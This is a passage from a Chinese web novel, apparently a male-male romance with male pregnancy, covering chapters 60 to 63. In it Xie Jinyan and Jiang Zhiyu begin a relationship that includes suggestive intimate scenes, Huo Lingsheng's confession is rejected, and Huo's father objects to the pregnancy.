太阳又高高挂在了天空,天气晴朗,外面绿荫笼罩。 一切好像什么都没变,一切又好像发生了很大的变化。 而且是短短一段时日里就发生了这么翻天覆地的变化。 江之遇都觉得像是做梦一样。 洗漱完从卫生间出来,昭昭小叔刚好已经做好了早饭。 “你怎么起来了?”谢津延听到动静转过头,从语气中能够听得出他心情十分愉悦。 江之遇望着他在厨房围着小熊围裙的高大身影,怔神道:“我不习惯赖床,也睡好了。” 他一向都是准时起床,有自己的生物钟,没有睡懒觉的习惯。 “那看来是我不够努力。”谢津延端了玉米粥和馄饨过来。 江之遇一怔,随后反应过来他说的是什么意思,脸色爆红:“你在胡说什么啊。” “我们现在算确定关系了吗?”男人漆黑的眸子看过来,给他舀了碗粥。 江之遇又一次被这个男人跳跃的思维问得懵住:“什么?” 谢津延便走到他面前,捧住他的脸颊,惯常沉冽的眼底竟看出十分的认真和深情。 还有一丝不知道是不是江之遇自己看错了的羞敛:“我们昨天都做了这种事,是不是代表你接受我了。” 60-68 第61章 第 61 章 “你和阿延接吻了?”…… 江之遇仰头, 脸颊被男人灼热的掌心触碰着。 一双总是盯得人头皮发麻的黑沉眼眸深深注视着他。 清早透亮的光点进去,照得漆黑瞳仁细微闪动着一层银色的薄光,像夜空中骤然点亮的星子。 让他这双狭长凌厉的眼眸一瞬柔和, 也充满了期待似的。 江之遇一时有些晃神。 虽然这个男人经常这样近距离地盯着自己, 总喜欢突然挨自己很近, 可不知道是不是心情有了变化, 两个人之间打破了什么。 再被这样一张极其俊逸帅气的面孔凑到眼前, 用这样的眼神注视着。 江之遇感觉刚才醒来时被他俯身在额头上轻轻吻了一下的那种奇怪的情绪再次涌上心头。 脸颊也像是被他掌心的温度渡了一层热意, 热乎乎的。 “我不懂你在说什么……” 江之遇觉得这样的心情好奇怪,有些不太适应,闪躲地别开头, 也躲开一点这样看得他很不自在的眼神。 下一秒,脑袋被掰回来, 男人指腹卡着脸颊上的软肉, 他听对方似是控诉的语气:“你这是不打算对我负责吗?” 江之遇呆了呆,没能理解他这句话的意思:“我怎么对你不负责了?” 谢津延正色道:“你和我又亲又做, 这是情侣和夫妻之间做的事情, 你却不和我确定关系, 不是不打算对我负责是什么?” 江之遇有些傻眼。 这怎么说的自己像是渣男似的。 他半晌涨红了脸,试图为自己分辩:“我没有,我只是觉得太突然了,才刚、才刚……” 他一紧张,一急, 说话就有些磕绊。 别提一早醒来大脑混乱, 又被男人弄得心情奇奇怪怪的,还没弄明白是怎么的情绪,是不是就是对方说的那种喜欢。 江之遇不知道要怎么表达。 谢津延却像是看出了他的心思一样, 语气放缓:“你是不是想说太快了,一时接受不了我们这样的关系转变?” 江之遇红着脸点点头,随后小声咕哝:“还有就是,明明是你说的先探索一下……” 怎么就变成是自己不负责任了呢? 谢津延默了默。 “那和我谈恋爱好不好?” 江之遇:“?” 江之遇这时候真想把昭昭小叔的脑袋敲开,看一看里面到底装了什么。 为什么这个男人总是会跳脱出一些让他无法招架的想法。 “谈、谈恋爱?”他很是惊讶。 与此同时,这个词对江之遇来说也很陌生。 谢津延在他唇角上磨了磨:“你不是不太能接受我们这么快就确定关系吗?那我们先从谈恋爱开始,一步一步慢慢来。” “其实按照我们的情况,应该要结婚的。” 江之遇被他弄得嘴唇痒痒的,又被男人的话冲击到:“怎么又扯到结婚了?” 谢津延:“你看,我们都有宝宝了,亲也亲了,做也做了,我喜欢你,你对我不是没有感觉,也见过我父母,换作别人,已经开始筹备婚礼了。” 江之遇:“……” 总觉得哪里不对,又找不出不对劲的地方。 “可是,怎么谈啊。” 不知道是不是一开始两人就发生过肉.体关系,江之遇即使最开始不理解,也大概知道男人和男人是怎么做的。 昨天又进行了那么深入的探索,让他了解到更多以前不知道的事。 接吻也是最直观的触碰和感受,两双唇瓣触碰到一起就算接吻,还可以伸舌头。 可是和男人谈恋爱…… 江之遇有点想象不到。 谢津延深深地望着他,诱哄的语气:“我们可以先从改变称呼开始,从现在起,你喊我阿延,我叫你的名字,我们不要再以昭昭养父和小叔的身份相处了。” 要改变这层关系吗? 江之遇尽管从昨天拉住眼前人的衣角,坦露自己对他并非一点感觉都没有起,就知道他们两人之间已经有什么打破了。 何况后来还做了那种事。 他们之间已经不再是单纯的以他养子建立起的这层联系了。 只是,关系发生了是一回事,现在转变起来还是有些不太适应。 不过总比这个男人口口声声说自己对他不负责任强。 他怎么这样啊。 上次喝醉酒后也是这样,倒打一耙。 明明自己是帮他解勾住衬衫扣子的丝线,好心帮他,却被看作要脱他衣服。 江之遇隐隐感觉自己又掉进了某种圈套,他昨天是不是就不该一时心软留住他。 “好了,先不说这个了。”江之遇推了推眼前的人,脸红红的,“吃饭吧,粥该凉了。” 谢津延心情愉悦地拿了个垫子在他的座椅上铺上:“那说好了,从现在开始我们是谈恋爱的关系,我叫你之遇,或是之遇哥,你要叫我阿延。” “我知道了。”江之遇拿勺子舀了勺粥堵在他嘴上,“你快别说话了。 谢津延:“……” 谢津延含住送到口中的粥,吞掉:“那我能说谢谢你喂我喝粥吗,之遇哥?” 江之遇:“?” 听他就这么喊起了自己的名字,又望了眼自己被舔噬干净的勺子,后知后觉他们间接接吻了。 我、我明明只是想堵你的嘴。 江之遇脸色迅速涨红,在心里咕哝出自己的本意。 也不知道平日里那么高冷寡言的一个人,到了他面前变成了这样。 从这天开始,他们两个人之间的关系彻底打破了,发生了翻天覆地的转变。 最开始不过是一个吻的试探,不知怎么就被带进了这么深的漩涡。 现在,江之遇竟然和自己养子的亲小叔成了谈恋爱的关系。 也说不上来具体是怎么谈,总之就是昭昭小叔一有空闲时间就拉着他亲。 出门陪他去桑姨那里送手工艺品或是陪他去集市采购,只要没有人注意到,就要和他牵手。 不给牵就说别人谈恋爱都是要牵手的,江之遇就只好把手给他,被他立刻挤进指缝,和他五指相扣。 从昭昭之前的房间住进了他的卧室。 江之遇不太想和他一起睡,一则是因为他习惯自己一个人一张床,昭昭来的时候除外。 二则一和他同床总要被他那里戳着。 也不知道为什么火气这么大。 自从试探性地做过那次,顾及他怀孕的身体,同房不能太频繁激烈,两人之后什么都没发生。 不过不知道是不是忍久了,连续几晚他都一直戳着自己,消不下去。 最后实在是弄得自己也难受,江之遇只能按照他研究的方式用腿帮他。 江之遇的腿很漂亮,又白又直。 之前住在自己家里的那段时间谢津延就注意到了。 谢津延一直都记得他穿着自己的衬衫给自己开门那个傍晚。 从浴室里匆匆擦了擦就出来开门,细软的发丝往下滴着水,一路蜿蜒。 自己的衬衫被胡乱套在身上洇湿,下摆散着,湿湿贴着腿根。 下面是一双笔直又纤长的腿,光脚踩着地板上,脚趾也很漂亮,粉粉的,圆润像珠贝。 谢津延思绪一瞬飘飞。 江之遇吃力地并着腿,眼神开始涣散,却不知道男人这是怎么了,忽然用手臂狠狠将他卡住。 因为太过突然,磨得有些疼了,江之遇伸手去掰他胳膊。 却摸到紧绷的青筋,一条一条,起伏有力,像迸涌着火热岩浆的暗流。 他只是不小心碰了一下,就像是要被滚烫的岩浆吞没。 江之遇惊得连忙抽回手,却被一把捉住,灼热掌心圈住他的手。 和腿一起,被这样的臂膀紧紧卡着,双双不能动弹。 那天下雨了,从傍晚时分就开始下着淅沥淅沥的小雨。 窗外风声簌簌,雨滴打着枝叶,发出滴答滴答清脆的声响。 他的声音融进这片雨声中,磨红的地方也一片湿泞,手心也是。 最后被抱去浴室冲洗干净,又换了床单。 江之遇脱力地躺在床上,背过身去,不想理非要和他挤在一起的男人。 这真是比直接做还羞耻的方式。 “之遇,之遇哥。”大约谢津延也知道自己做的过分了,吻了吻他的脖颈乞求原谅。 “我只是憋太久了,又不想伤害你的身体和宝宝。” 江之遇过了许久转过身,眼尾还染着未褪尽的红。 他用这样一双眼睛瞪了对方一眼,语气似是愠恼。 “你怎么总是研究这些乱七八糟的东西,别告诉我又是你开视频会议无聊的时候在哪里看的。” “那倒没有。”谢津延收紧胳膊把他揽住,没告诉他很久之前就闪过这样的念头。 窗外雨声窸窣,他只深深注视着怀中的人,有一下没一下亲他的眼睛。 真是让人发疯,连生气都这么可爱,眼尾红红的,脸颊也红红的。 琥珀般漂亮的眼眸瞪得很圆,更像让人忍不住想要欺负的小兔子了。 谢津延克制住想要把怀中人拆吃入腹的冲动,温声道:“我明天要回一趟北城,有一笔大宗交易,需要我亲自过去签字确认,有可能还要去一趟国外。” “你快走吧,你在我这里我一刻都没办法安宁。”江之遇垂了垂眼睫。 不知道为什么,他很喜欢男人亲他的眼睛。 吸他嘴唇的时候那么凶,可是落在眼睛上的吻就会很轻缓温柔。 谢津延也不在意似的,只道:“等你生了宝宝,可以四处走动,我一定要带你把约会清单上的事全做遍。” “什么约会清单?”江之遇不解地问。 谢津延翘起唇角:“就是谈恋爱的情侣经常会做的一些约会事项,比如看电影,去餐厅吃饭,我知道一家特别好吃的餐厅,以后带你去。” 江之遇没注意到两人已经发展成情侣的关系了,也忘了刚才的羞恼,也向往道:“可是我更想去游乐园。” 他还没有去过游乐园,之前的计划是等宝宝长大了,他陪宝宝一起去。 谢津延嗯声:“那就去游乐园,我等这边的基础设施都建设好,也在这里建一所游乐园,到时候宝宝和这里的小朋友都能在这里玩,不用跑太远。” “真的吗?”江之遇有些惊喜。 谢津延点头:“还有植物园,动物园,总之别的地方有的,以后我会在这里慢慢打造齐全。” 江之遇很意外。 其实这些天,昭昭小叔每次从公司回来都会给自己带各种各样的东西。 家里本就种植有瓜果蔬菜,他每次都会给自己带一盆花。 除了最开始的那株价值一千五百万的珍贵兰花,还有山茶花、栀子和木绣球等各种漂亮的花。 还有小动物,昭昭小叔按照自己工具室格子架上做给宝宝的木质小动物礼物,他在现实中能带回来的也都带过来了。 先是那只垂耳兔,再是花栗鼠和小乌龟,后来又拎了只可以和它说话互动的小鹦鹉,鱼缸里也多了几条金鱼。 他的家里真快成了小型的植物园和动物园了。 江之遇挺开心的,因为每天生活都会很充实,也很热闹。 昭昭小叔回北城的时候,他就能和小鹦鹉说话,在鱼缸逗金鱼和小乌龟,陪小兔子和花栗鼠玩耍。 十一现在特别亲人粘人,在院子里蹦蹦跳跳的也特别可爱。 两人就这样聊着天,一起计划着以后的事情。 不知不觉,江之遇就眼皮耷拉,困意来了,最后额头上落下一个晚安吻。 江之遇进入了美好的梦乡。 第二天醒来,昭昭小叔已经把自己收拾得着装齐整了。 每天一个花色的领带,西装样式不断在换,袖扣依旧不见重样,家里的衣橱都要被他的衣服占满了。 可是他穿起这些很正式的衣装真的帅气逼人,有种不一样的感觉。 临走前还是不断叮嘱自己:“我不在的时候,只要黎清叙他们有人来找你,你不搭理他们就行了,千万不要让他们进门。” 江之遇帮他检查有没有落下的文件:“你是不是太多心了,黎少爷他们不是回北城很长一段时间了吗?我觉得他们可能就是一时兴起,不是真的喜欢我。” “不是总说你们这些人三分钟热度,喜欢一个人很快,没了兴趣也快吗?” 谢津延就扯过他狠狠地深吻,过了许久放过被他亲得双眼迷离,红润唇瓣微肿似樱的男人:“你看我是吗?” 江之遇喘着气,脸因为缺氧憋得通红,脚步也像踩在棉花上似的,虚虚软软的。 他用了好一会儿时间恢复神智,把他要带的文件一股脑塞进他怀里。 “你快走吧,我一点也不想再看到你了。” 谢津延唇角翘起愉悦的弧度,又在他额头上轻轻吻了吻。 “那我走了。” 转身出了门。 直升飞机转动着机翼飞进飘落着绵绵细雨的灰色天空,昨日从傍晚就开始下的雨到现在都还没有停。 所幸不大,绵绵的银丝似的。 一阵细微的风吹过,雨丝斜了斜。 那架渐行渐远的直升机也仿佛被风吹得斜了斜,最后消失在昏茫的云霭中。 江之遇注视着这样的远空很久,回到屋子关上门。 之后,就开启了昭昭小叔不在时自己的日常生活。 院子里的门被叩了叩。 江之遇放下手中的木活走出工具室,穿过滴落着雨珠的葡萄藤架去开门。 “阿延,你怎么这么快就回来了,不是说还有可能去国外吗?你……” 剩下的话消失在甜腻的尾音里。 细雨蒙蒙,远山缭绕着一圈薄薄的白雾。 眼前男人撑着一把第一次来这里时撑的乌木为柄古朴雅致的长柄伞。 长身而立,还是一副清冷出尘的模样,却也西装裹身,与原来有一些不同。 看到自己,他握着伞柄的手好似顿了顿,大约也知道自己认错了人,叫错了名字。 江之遇怔了一怔,很是意外。 这段时间昭昭小叔一直在家里防备他这群朋友,江之遇以为他们不会再来了。 没想到霍少爷却再次出现在了这里。 不过,他现在也和溪源乡有援建的合作项目,之前一直说要在这里建立生态园。 江之遇心想,霍少爷应该是有正事要来处理的。 几个人当中,江之遇其实一直都觉得霍少爷是最不可能对自己有那种想法的人。 这个人清冷出尘,之前一直在山上修行,看上去清心寡欲,不像是对这方面感兴趣的。 江之遇挥散脑海里这些思绪,不管怎样,礼貌道:“霍少爷,是你?抱歉,我认错人了,以为你是,你是……” “阿延?” 霍岭生清冷声音截断他的话音,寂冷如雪岭冰湖的眼眸看不出情绪地注视着他。 江之遇和昭昭小叔的关系现在除了宋秘书暂时没有别人知道。 他有些羞窘,垂下眼眸,小声嗯了声。 然后听霍少爷哦了声,脸上依旧没什么情绪。 却视线似是游移到自己唇上,化作了实质一般,清冷眼眸也覆上一层看不懂的晦暗情绪。 “你和阿延接吻了?” 第62章 第 62 章 今晚视频play好不好…… 和阿延……接吻? 江之遇扶在门沿的手微微一僵, 隽秀面庞上的表情也怔愣住。 斜斜的雨丝飘落,凝在黑色的伞面,顺着伞骨滚落几滴雨珠。 江之遇花了有十几秒的时间才似是回过神, 确认这话确实是从眼前这个清冷寡欲的男人口中问出来的。 他的脸一瞬间飞上一抹红晕, 耳根也迅速爬上羞赧的热意。 “你、你为什么问这个。” 霍岭生视线晦涩地盯着他染上绯色的隽美脸庞, 过了片刻, 复又移下。 在眼前微肿的唇瓣上定了定, 探过去玉雕般指骨修长的手。 “肿了。” 这道清冷的声音开口道, 声音冷然,面上没什么表情,指腹却细细摩挲。 江之遇大脑嗡了一下, 感受到陌生手指触碰到自己唇上的触感,身体先于大脑一步退开, 避开霍少爷的触碰。 同时用手背去擦自己的嘴唇:“有、有吗?” 霍岭生面色一瞬很沉晦, 盯着他擦拭的动作,刚才的退避也让自己看起来像洪水猛兽一样。 只是碰一下都不行了吗? 分明之前还握着自己的手帮自己纠正动作。 霍岭生心湖晦暗起伏, 眸色也一时幽幽冷冷。 却没回刚才的疑问, 只清冷嗓音听不出异样问:“你和阿延在一起了?” 江之遇脑袋又是嗡的一声, 没懂霍少爷为什么接连要问自己这样的问题。 尽管已经隐约感受到什么,还是觉得有些不可思议。 他不自然地点点头,算是承认。 他和昭昭小叔现在的关系,该做的不该做的都做了。 昭昭小叔说两个人现在是谈恋爱的阶段,虽然后来没再追着要自己和他确认关系, 也没逼着问自己有没有接受他, 可江之遇心里其实已经默认了两人的关系。 每天的耳鬓厮磨,几乎天天待在一起,同床共枕, 接吻已经变成了像吃饭喝水这样生活中习以为常的事情。 江之遇有时候恍然觉得,这座小院就是他们的一个家,他已经习惯了家里被这个人填满。 他好像不知不觉被他入侵,从身到心处处都留有他的痕迹。 而且如果这样能让霍少爷打消某种念头,那就最好了,他其实是希望他们都搞错了。 怎么看,霍少爷都不是这种有世俗情欲,且会喜欢他的人。 霍岭生将他面部细微的表情变化收入眼中,还有这记默认的点头。 过了许久,忽而笑了声:“还真在一起了,比我预想中迅速,不过倒也符合阿延一贯的行事作风。” 江之遇还是第一次见霍少爷笑,很奇怪的感觉。 他和昭昭小叔都是那种吝于言语和笑意的人,昭昭小叔在江之遇看来一直给人的压迫感很强,又冷又拽的。 霍少爷没有这种感觉,可是有时候一双眼睛看人的时候,分明清清冷冷,平静的湖面一样,没有丝毫波动的痕迹。 可无端给人一种很深的拖拽感,像是有一个巨大的漩涡隐藏在平静的湖底,一不小心就会被吸溺进去,窒塞住呼吸。 如今他笑起来也是这种感觉,有笑意,却不达眼底,还是很清冷的感觉。 让人感到十分踌躇不安和不自在。 江之遇踌躇了会儿,没和他继续这个话题,而是问:“你是有什么事找我吗?” 对方却好似不是这个想法,收敛起眼中的笑意道:“你不是一开始不愿意和阿延有牵扯吗?为什么又和他在一起了,是因为肚子里的孩子吗?” 江之遇怔了怔,半晌垂下眼睫:“不是……” “那是你喜欢他?”霍岭生声音没有起伏地又问了声。 江之遇再一次被问住。 喜欢吗? 他也说不清楚对昭昭小叔现在是不是那种喜欢,就知道最近总是因为对方的一些小举动心脏莫名跳动了下。 有时候是陪自己一起打理小院时,忽然冲自己扬唇笑了笑。 其实昭昭小叔笑起来真的很好看,很恣意惹眼。 和祁少爷那种青春迸发的张扬少年感不同,昭昭小叔是一种意气风发的感觉,彷佛什么都在他掌控之下的骄矜和从容。 有时候是和自己一起给家里的小动物们喂食时,莫名其妙亲自己一口。 很短暂的触碰,是和那种欲望很深的湿缠深吻不一样的感觉。 每次一问,他总说:“就是看你和它们一样可爱,情不自禁。” 江之遇的脸就迅速爆红。 还有……他这次回北城有大宗生意要谈,有可能还要去一趟国外。 才离去半日,江之遇就觉得自己心里已经产生了一种空落的情绪,总也忍不住透过工具室的窗户去看外面的天空。 他这时还不知道这就是思念。 明明对方临走前,江之遇还放话说再也不想见到这个男人。 可是不管怎样,应该算是喜欢吧。 因为在此之前,除了收养他的老爷爷,教他手艺的师父,还有在这个世界给他陪伴和慰藉的养子昭昭。 江之遇心里再没牵挂过一个人。 江之遇怔神地点点头:“我想我是喜欢他的。” 霍岭生听了这句话,不可否认现在心里充满了不可克制的阴暗和嫉妒。 他也没有想到自己这个发小行动这么迅速,只用了这么短的时间就把这个男人俘获。 那天四人爆发了一场小小的争执,其实在他们从小到大的这些年里,算是冲突最大的一次。 他们从来没有因为什么发生过矛盾,阿延也从来没对兄弟们动过手。 霍岭生之所以没有还手,是因为他知道自己确实心存龌龊的心思。 只是他没有黎清叙那样撬墙角撬得坦然,也不像祁焰那样随心所欲,凭心而为。 更不像阿延这样,狗急了直接发疯,顺势去争夺自己想要的,及时把握住时机。 他总是藏在深处阴暗窥探,像见不得阳光的蛇虫鼠蚁,用道貌岸然的正义去包装自己一颗丑陋扭曲的心。 给自己找各种理由。 甚至直到这一刻,霍岭生都认为,只是接了吻,在一起了,意外地有了个孩子。 他们还可以分手,还没有结婚。 要不直接抢夺吧。 他母亲不就是被那个男人强行娶回家的吗?虽然后来一地破碎,家里脏污不堪。 可总归也有过一段美好的时刻。 霍岭生快速地捻动手中的串珠,闭了闭眼,极力压制内心的邪逆之思。 过了许久,他平缓语气问:“如果当初是我早一步来这里,或是一开始,我先提出帮你建设家乡,你会不会也会像看阿延那样看我一眼?” 江之遇怔了怔,没太明白霍少爷这话是什么意思,也没想过他会问自己这样的问题。 然而不等自己纠结怎么回答,又见对方收了长柄伞,迈上台阶,屋檐下靠近自己一步。 江之遇见对方走近的身影,男人身形颀长,走近时带来一阵沾了雨水的味道和与他周身气质一样的清冷气息。 江之遇不自觉退后一步,终于确信霍少爷竟然真的对自己有这种心思。 虽然昭昭小叔之前告诉过自己,他身上有莫名吸引他们这类人的气息,可江之遇还是不知道是哪个环节出了问题。 他紧紧握着手中的门框,身子退向门后,快要只剩一颗脑袋了,问霍少爷:“你找我只是为了要说这些吗?” “如果是的话,请你以后不要再来找我了,我不知道是哪里让你产生了误解,但你的假设不成立。” “不过我很感激你为溪源乡做的事情,我想我们这里的村民也会感激你,也希望你能找到自己真正属意的心上人。” “这意思是我一点机会都没有是吗?”霍岭生再次走近一步,逼近的气息冷冽清寒。 江之遇忍不住缩了缩身子,小声道:“我只是觉得我一个乡下人,不值得你们在我身上花费心思。” “其实我们更有共同话题对吧?”霍岭生望着他快要缩到门扉后的脑袋,只一双清透漂亮的眼睛警惕地注视着自己。 “那只木鸟,还有你喜欢做的那些事情,我都可以陪你做。” “甚至阿延能给你的,我也都能给你。” “对不起。”江之遇听他说了这样一句,歉声道,“我不能接受你的心意,我要去做木工了,也请霍少爷回去吧。” 江之遇说完,关上木门。 霍岭生怔然地立在屋檐下,望着关在眼前紧闭的门扉。 细雨飘飘,他握着的长柄伞滴淌的水珠很快弄湿了脚下的石阶。 他没想到自己会被拒之门外,连来这里的目的也没说出口。 可就算说出口又怎样,不过是为他真正的意图找借口罢了。 霍岭生只是想不明白,他也曾和他长时间共处一室,有过单独的时光。 甚至凤凰花树下的木鸟,在霍岭生看来一直是他们之间隐秘的一段回忆。 他也在做着和阿延同样的事情,为他打造一个适合他生存的家园。 为什么走向却截然不同。 分明上学的时候,他和阿延总能争个一二。 霍岭生长时间注视着紧闭的门扉,听屋檐雨声滴答。 过了许久,撑开伞,重新走进雨中。 回到下榻酒店,他略有些烦躁地扯掉领带,他其实并不喜欢自己现在的样子。 套房沙发上的身影让他移过去视线,清冷面色骤然阴暗。 “你为什么会来我这里?” 霍成峰抽着雪茄,吞云吐雾,上了一点年纪却更显儒雅风流的脸隐在飘渺的烟雾中,却没打算起身。 “如果我不来,还不知道公司那么大一笔钱被你投在了这样山角旮旯的地方,听说还是义务的,怎么,和你母亲在山上修行真要普度众生了?” 霍岭生蹙了蹙眉:“我做什么不用你管,这也是我们当初约定好的。” 霍成峰笑:“我是不打算干涉你,事实上,带动乡村发展,对我们与政府的关系搭建和提升公司形象有很大的助力。” “我只是不愿意你把时间和精力花费在一个对你没有反馈的男人身上,还是个怀了孕的男人。” 霍岭生眉峰拧得更紧:“这和你无关。” 霍成峰终于从沙发上站起身,走到眉宇间和自己最是相似,也是他最满意和喜欢的长子面前。 “这不能不和我无关,你知道,我一直对你寄予厚望,如今你肯回来接手家业,我再高兴不过。” “可是如果你一门心思在一个男人身上,所做的事情也只是为了讨美人欢心,我劝你放弃,我霍成峰从来没做过这样窝囊的事情。” “也对,你有喜欢的直接就抢了。”霍岭生冷嗤,“抢不到的想方设法折断他们所有的羽翅,最后不得不屈从于你,我母亲不就是这样。” “我们的事情很复杂,不是简单几句话就能说清。”霍成峰一瞬沉下脸。 霍岭生就笑:“我的事情也不是你三言两语能干涉的。” 霍成峰被烟丝呛了声,咳咳几声后,语气不容置喙:“总之如果你非要和这个男人纠缠不清,我没意见,但他肚子里的孩子必须打掉,之后你和他另外生一个也好,养养当金丝雀也好,我不允许他带着别人的种进我们霍家的门。” 霍岭生:“那你滚吧,顺便祈祷自己能活到你期望的那一天。还有,你别动他。” 霍成峰拎起西装外套:“还是要取决于你怎么做。” 外面的雨不知不觉下得绵密了些,洇在玻璃窗上,很快蜿蜒起橙润的水痕。 柔和的光圈朦胧,像是在那个男人工具室里悠悠亮起的橙润竹灯。 霍岭生等套房的门关上,屋内烟气让他深深厌恶,叫来助理帮他换了间房。 等换好房间,他站在窗前,遥望远方。 虽然隔了很远的距离,什么都看不到,却总感觉有一簇这样的灯在眼前亮着似的。 霍岭生望了窗外许久,又去看桌上铺开的生态园区规划图,还有存在手机里的那只木鸟。 假设不成立吗? 然而好似当初他的第一想法确实也是带他走,编织一个舒适优渥的鸟笼,没有想过他离开自己适应的栖息地会是什么样的状态。 他好像确实晚了一步。 这边的雨一直连绵不停。 同处一片南地乌蒙的天空,江之遇也没想到雨势会越来越大。 稠密的雨声打着窗外的树枝,江之遇给家里的小动物们一一喂完食,就去给自己也做了晚饭。 真奇怪,明明一直以来都是自己一个人生活。 今天不知道是不是因为一直在下雨,天空阴沉沉的,天气转凉,他竟觉得屋子里有些冷清。 还好有这些小动物们陪他,他还可以和鹦鹉说说话。 吃完饭,江之遇又做了会儿木工活。 八点钟左右的时候,他准备洗漱去床上睡觉了。 手机铃声响起,打开一看,是昭昭小叔发过来的视频通话。 江之遇点开,耳朵立刻收进觥筹交错、杯盏清脆碰撞的声音,一听就是在宴席上。 随后一张俊逸帅气的面孔出现在镜头里。 “老婆,我好想你。” “你在乱喊什么啊!”江之遇被他的称呼惊呆住了。 不是说彼此之间称呼名字的吗? 而且他们现在还只是谈恋爱的阶段,算是情侣的关系,还没有结婚。 谢津延推开一杯递过来的香槟和婉拒试图搭讪的一位女士。 “不这样叫的话,就一直有人过来找我。你怎么样啊,吃饭了没有,那些益生菌、补铁剂什么的都按时吃了吗?” “我看家里今天一直在下雨,你没事少往院子里去,小心地面滑。” 江之遇听他那边觥筹交错的声音好似拉远了些,疑似到了个安静的区域。 喧嚣声远,屋外雨声淅沥,屋子里还是只有他一个人,刚才那种冷清的感觉却好像消失了。 江之遇告诉他:“我都吃了,你真无语,早上才走你就这样。” 谢津延轻笑了声,狭长冷厉的漆黑眼眸在头顶华丽璀璨灯光的映照下,闪动着柔和的光辉。 如果这个时候有人路过这一角看过去一眼,绝对不敢相信这就是那位年纪轻轻就站稳商圈名利场中心,却冷漠疏离,周身气场凛冽,让人不知如何攀扯的谢氏掌权人。 谢津延道:“别说早上才走,就是走一分钟我都很想你,这个宴会太无聊了,可我现在又不好离开。” 江之遇刚才好像听到他们那边有外国话交谈的声音,问道:“你是去了国外吗?” 谢津延嗯声:“有个交流会,大概九点钟结束,明天还有一笔生意要谈,所以我不能立刻回家了。” “那你就忙正事啊,哪有你这样的不待在公司,天天往乡下跑。” 江之遇咕哝,想说正好他今晚可以睡个安生觉。 就听眼前男人低敛嗓音道:“今晚我们玩视频play好不好?” 第63章 第 63 章 给你喘 视频play? 江之遇听他低低的声音从手机另一头传来。 隔着遥远的距离, 冰冷的屏幕,却好似每一次他含自己耳垂时一样,有什么酥酥麻麻的细微电流在耳膜流蹿而过。 他甚至都能感到有一阵灼热的呼吸纠缠着自己似的。 只是江之遇不太懂:“这个视频play是什么?我们不是已经在打视频电话了吗?” 谢津延在宴会厅一个僻静的角落停下脚步, 驻足。 远处衣香鬓影, 人影憧憧。 鎏金的灯辉洒在他凌厉分明的面孔上, 没人能从这张冷峻的脸上看出分毫, 只以为他在谈重要的公务, 因此无人上前打扰。 却不想他顶着这样一副矜冷面孔, 用薄唇启出让人脸红耳热的话,自己耳根也泛着热意。 “就是……你和我隔着屏幕做,让我看看你好不好, 我想听你的声音,我也给你喘。” 江之遇:“?” 江之遇大脑反应了好半天才明白过来他说的是什么。 脸色迅速爆红, 江之遇一下子从座椅上弹起来:“我觉得黎少爷之前说的对, 就应该找个道士给你驱驱邪,许大夫的药对你来说根本不管用。” 是他一直待在乡下没什么见识吗? 他还是第一次听说通过电话也能做, 明明才刚用了腿。 江之遇忽然觉得握在手中的手机变得烫手, 像是被火舌舔舐了下, 让他险些拿不稳手机,从手心里脱掉。 谢津延:“……” 谢津延半晌正了正脸色,申辩道:“我没中邪,我就是太想你了,不知道什么时候能回家, 等这次回国, 我们结婚好不好?” “玩你说的视频吧……”江之遇艰难开口,不知道怎么又扯上了结婚。 虽然像他说的那样,两个人亲也亲了, 做也做了,彼此之间有喜欢,肚子里还有两个人的宝宝,月份也已经不小了。 可不知道为什么,一提这件事,江之遇还是觉得有些恍惚。 或许是太快了,明明说的是从谈恋爱开始,一步一步来。 也或许是他还没做好怎么面对自己的养子和对他那么好的谢老夫人和谢老先生的心理准备。 江之遇知道他们一家人很好,可是他知道他们对自己的好更多的是出于把昭昭带回他们谢家的感激。 如果让自己和他们成为一家人,不知道会不会发生改变。 昭昭会怎么看待自己和他小叔的关系,他真的能够被接纳吗? 一瞬的晃神,江之遇问屏幕前的男人,涨红了脸:“……是要等宴会结束对吧?” 谢津延被意外的喜悦冲昏大脑:“我马上回酒店。” 江之遇:“不是不好离开吗?” 谢津延已经迈开长腿:“但现在有重要的事情了,我去打声招呼,你别挂断电话,我想一直听着你。” 江之遇脸上的表情就有些呆滞。 怎么以前不知道他是这样的人啊,满脑子都是这种不正经的事。 江之遇很难把他与自己第一次在酒店长廊上见到的那个神情淡漠,又矜冷又倨傲,浑身犹如抹不开锋锐的出鞘冷刃般的男人联系在一起。 他握着手机,没有挂断电话。 听男人脚步声似是穿过憧憧人影,走路时西装衣料掀动起细微的声响,和杯盏碰撞的清脆声一起,融进宴会厅里缓缓流动的雅致舒缓的音乐声中。 随后听他和什么人交谈了几句,用的是江之遇听不懂的外国话。 江之遇想起他那日午后在电脑上给自己展示的各种证书,奖杯,奖状。 依稀记得他会许多国家的语言。 怪不得耿耿于怀和霍少爷“争”的那个倒数第一,最终拿了倒数第二,没得倒数第一。 江之遇不知怎么的弯了弯眼睛。 过了许久的事情,他当时没觉察到什么,只以为是黎少爷的话伤了他的自尊,自己也有些打击到他。 这会儿想到男人当时极力分辩的样子,江之遇忽然就忍不住在眼尾弯起笑意。 与此同时,有一种像糖果一样甜甜的情绪也溢出心头。 他就这样安静地从手机这头听他和宴会上的人交谈,离得很远,跨国的距离,却又好像就在身边。 他窗外打着枝叶的雨声也仿佛是从同一片天空降下的。 “好了,都处理完毕,我可以回去了。” 在自己微微晃神的时候,江之遇听耳畔忽然传来熟悉低沉的声音,从腔调判断很是愉悦。 江之遇骤然拉回思绪,脸微微热了热。 明明听起来那么正常的话,语气愉悦却是和平日里没什么不同的低敛沉稳。 可是一想到他做的这些都是为了要早点回酒店和自己做那种事,江之遇就忍不住耳根发烫。 “你回到酒店要多久啊。”江之遇问,视野里看到屏幕里的景象在不断地发生变化。 谢津延按下电梯按钮,没让助理跟过来:“十分钟左右,我让司机开快一点,大概五分钟就能到。” 江之遇:“……” 不知道的还以为他要赶什么重要的行程。 “你还是慢一点吧,注意路上安全,你这样我挺担心的。”江之遇的耳根越来越热。 谢津延透过手机屏幕看他转红的圆润耳垂,听到担心这两个字,明明知道不是自己理解的那层意思,却控制不住地心腔鼓噪。 他黑眸覆上一层晦暗,狠狠道:“真想在这里就按你。” 江之遇一惊,随后叮一声,看到电梯门打开。 “你、你、” 他被他惊得一时不知道怎么接话,支支吾吾半晌,最后语无伦次一句:“这里是公共场所,有监控,你小心被人报警当变态抓。” 谢津延:“……” 车在宽阔的大道上疾驰。 江之遇看他那边的窗外景象快速掠过,没多久,就到了酒店。 全程没有挂断通话。 一进到酒店的房间,江之遇就看他扯领带。 